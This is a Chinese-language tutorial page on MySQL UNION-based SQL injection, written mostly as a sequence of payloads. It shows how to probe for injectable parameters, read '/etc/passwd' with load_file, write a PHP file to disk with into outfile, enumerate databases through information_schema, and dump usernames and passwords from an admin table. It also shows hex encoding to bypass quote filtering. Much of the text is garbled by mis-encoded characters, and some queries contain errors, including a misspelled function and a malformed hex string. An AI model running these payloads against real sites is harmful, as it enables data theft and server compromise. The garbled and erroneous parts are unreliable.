sql注入-union select
什么是SQL注入
SQL注入(Sql Injection )
哪里存在SQL注入?
- GET
- POST
- HTTP頭部注入
- Cookie注入
任何客戶端可控,傳遞到服務(wù)器的變量,并且和數(shù)據(jù)庫(kù)進(jìn)行交互,都有可能存在sql注入。
SQL注入的分類
- 整型注入
- 字符串類型注入
- UNION query SQL injection(可聯(lián)合查詢注入)
- Error-based SQL injection(報(bào)錯(cuò)型注入)
- Boolean-based blind SQL injection(布爾型注入)
- Time-based blind SQL injection(基于時(shí)間延遲注入)
- Stacked queries SQL injection(可多語句查詢注入)
如何去判斷SQL注入漏洞
- and 1=1 / and 1=2 回顯頁面不同(整形判斷)
- 單引號(hào)判斷 ‘ 顯示數(shù)據(jù)庫(kù)錯(cuò)誤信息或者頁面回顯不同(整形,字符串類型判斷)
- \ (轉(zhuǎn)義符)
- -1/+1 回顯下一個(gè)或上一個(gè)頁面(整型判斷)
- and sleep(5) (判斷頁面返回時(shí)間)
MySQL數(shù)據(jù)庫(kù)的特性
MySQL中3種注釋風(fēng)格
-
# (url編碼為%23)
-
– (–后邊要跟上一個(gè)或多個(gè)空格 --+)
-
/* … */
-
/*! … */ 內(nèi)聯(lián)注釋
select * /!22222from/ users;(注:22222低于數(shù)據(jù)庫(kù)版本號(hào)(5[0].7.20)就可顯示from)
MySQL函數(shù)利用
常用函數(shù)
- user()
- database()
- @@version
- session_user()
- @@basedir
- @@datadir
- @@version_compile_os
load_file( )函數(shù) 讀文件操作
前提
- 知道文件絕對(duì)路徑
- 能夠使用union查詢
- 對(duì)web目錄有寫權(quán)限
UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#
into outfile( )寫文件操作
前提
- 文件名必須全路徑(絕對(duì)路徑),
- 用戶必須有寫文件的權(quán)限
- 沒有對(duì) ‘ 引號(hào)過濾
SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’
連接字符串函數(shù)
- concat(str1,str2)
- concat_ws(separator, str1,str2…)
- group_concat(str1,str2…)
MySQL中information_scheme庫(kù)
SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
MySQL中UNION規(guī)則
- UNION必須由兩條或兩條以上的SELECT語句組成,語句之間用關(guān)鍵字UNION分隔
- UNION中的每個(gè)查詢必須包含相同的列。
- UNION會(huì)從查詢結(jié)果集中自動(dòng)去除了重復(fù)行。
- UNION query SQl injection
利用前提
頁面上有顯示位
優(yōu)點(diǎn):
方便、快捷、易于利用
缺點(diǎn):
需要顯示位
步驟
判斷列數(shù)
order by 10
order by 20
order by 15
…
判斷顯示位
url?id=-1 union select 1,2,3,4,5
獲取當(dāng)數(shù)據(jù)庫(kù)名稱和當(dāng)前連接數(shù)據(jù)庫(kù)的用戶
url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5
列出所有數(shù)據(jù)庫(kù)
limit 一個(gè)一個(gè)打印出來庫(kù)名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部顯示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
列出(數(shù)據(jù)庫(kù):test)中所有的表
limit 一個(gè)一個(gè)打印出來字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
limit 0,1
group_concat 一次性全部顯示
select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x674657374
注意:數(shù)據(jù)庫(kù)名稱可以用十六進(jìn)制來代替字符串,這樣可以繞過單引號(hào)的限制。
列出(數(shù)據(jù)庫(kù):test 表:admin )中所有的字段
limit 一個(gè)一個(gè)打印出來
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat 一次性全部顯示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
列出(數(shù)據(jù)庫(kù):test 表:admin )中的數(shù)據(jù)
limit 一個(gè)一個(gè)打印出來
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin
network
總結(jié)
以上是生活随笔為你收集整理的sql注入-union select的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 解决kubectl get pods时
- 下一篇: sql注入-error、boolean、